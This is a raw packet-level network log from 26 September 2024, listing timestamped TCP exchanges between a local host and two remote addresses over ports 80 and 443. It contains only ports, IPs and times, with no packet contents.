Sep 26, 2024 19:05:19.700227022 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.700314999 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.700314999 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.700314999 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.734513044 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.739351034 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.909564018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.909617901 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.909627914 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.909653902 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.909665108 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.909684896 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.909693956 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.909773111 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.909801006 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.909813881 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.909821987 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.909858942 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.909859896 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.909873962 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.909884930 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.909900904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.909940004 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.909940004 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.909969091 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.909979105 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.909996986 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.910039902 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.910047054 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.910047054 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.910049915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.910068035 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.910085917 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.910085917 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.910115957 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.910168886 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.910168886 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.910171986 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.910181999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.910213947 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.910223007 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.910223961 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.910223961 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.910239935 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.910259962 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.910268068 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.910274982 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.910310030 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.910310030 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.910459042 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.910531998 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.910541058 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.910571098 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.910571098 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.910598040 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.910605907 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.910646915 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.910660982 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.910717010 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.910753965 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.910753965 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.910757065 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.910778999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.910820961 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.910875082 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.910891056 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.910911083 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.910922050 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.910943031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.910943031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.910943031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.910965919 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.910991907 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911014080 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911024094 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911039114 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.911041975 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911053896 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911088943 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.911088943 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.911220074 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911231995 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911252975 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911262989 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911279917 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911290884 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.911290884 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.911343098 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.911360025 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911370039 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911408901 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911416054 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.911422014 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911441088 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911451101 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911469936 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911473989 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.911473989 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.911480904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911497116 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911545038 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.911566973 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.911638975 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911649942 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911654949 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911698103 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.911736965 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911746979 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911765099 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911775112 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911807060 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.911807060 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.911839962 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.911853075 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911868095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911900997 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911911964 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911931038 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911936045 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.911936045 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.911942005 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.911987066 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.911987066 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.912117004 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.912127972 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.912147045 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.912157059 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.912174940 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.912189960 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.912189960 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.912197113 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.912216902 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.912262917 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.912292004 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.912302971 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.912322998 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.912333012 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.912374020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.912374020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:19.912393093 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.912404060 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:19.912448883 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:20.139379025 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:20.139411926 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:20.144961119 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:20.145544052 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:20.331226110 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:20.331420898 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:20.357036114 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:20.361973047 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:20.538808107 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:20.538829088 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:20.538850069 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:20.538955927 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:20.538955927 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:20.541821957 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:20.546783924 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:20.725384951 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:20.725511074 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:20.733057976 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:20.737936974 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:20.920995951 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:20.921209097 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:20.924189091 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:20.929083109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:21.112371922 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:21.112654924 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:21.360001087 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:21.360063076 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:21.360125065 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:21.373975039 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:21.374001026 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:22.353566885 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:22.353697062 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:22.439543009 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:22.439573050 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:22.439894915 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:22.440088034 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:22.467117071 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:22.507416010 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:22.918941975 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:22.918965101 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:22.919044018 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:22.919064999 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:22.919085026 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:22.919130087 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.154217005 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.154231071 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.154319048 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.154913902 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.154978037 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.155664921 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.155730963 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.157300949 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.157373905 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.391954899 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.391968012 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.392059088 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.392072916 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.392098904 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.392129898 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.392154932 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.392940044 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.393017054 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.393759012 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.393834114 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.394567013 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.394639015 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.395565033 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.395632982 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.396332026 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.396399975 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.459372997 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.459475994 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.629548073 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.629640102 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.629713058 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.629765987 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.629792929 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.630027056 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.630089998 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.630522966 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.630590916 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.631198883 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.631269932 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.631488085 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.631552935 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.632277966 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.632340908 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.632477045 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.632539034 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.633196115 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.633356094 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.633394003 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.633450031 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.634175062 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.634249926 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.634912968 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.634980917 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.635180950 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.635241985 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.635823011 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.635885000 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.697918892 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.698007107 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.716238976 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.716311932 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.716532946 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.716589928 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.867346048 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.867424011 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.867604017 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.867659092 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.867810965 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.867861986 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.868262053 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.868314028 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.868645906 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.868705988 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.868823051 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.868874073 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.868885040 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.868932962 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.869400978 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.869462013 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.869601011 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.869652987 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.872226000 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.872298002 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.872419119 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.872489929 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.872556925 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.872610092 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.872948885 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.873003960 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.873296022 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.873358011 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.873384953 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.873442888 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.873857021 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.873918056 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.954006910 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.954075098 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.954227924 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.954284906 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.954592943 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.954649925 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.954658031 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.954714060 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.955065966 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.955121994 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.955193043 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.955245972 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.955260038 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:23.955267906 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.955305099 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.956199884 CEST	49736	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:23.956214905 CEST	443	49736	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:24.416915894 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:24.416971922 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:24.417042017 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:24.417999983 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:24.418019056 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:25.354060888 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:25.354285002 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:25.358896017 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:25.358907938 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:25.392220020 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:25.392237902 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:25.922859907 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:25.922890902 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:25.923002958 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:25.923002958 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:25.923017979 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:25.923253059 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.118410110 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:26.118566990 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:26.159521103 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.159533024 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.159662008 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.159782887 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.160235882 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.160720110 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.160878897 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.161626101 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.161819935 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.396543980 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.396554947 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.396701097 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.396820068 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.396976948 CEST	49737	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:05:26.397337914 CEST	443	49737	172.105.54.160	192.168.2.4
Sep 26, 2024 19:05:26.397475958 CEST	49737	443	192.168.2.4	172.105.54.160
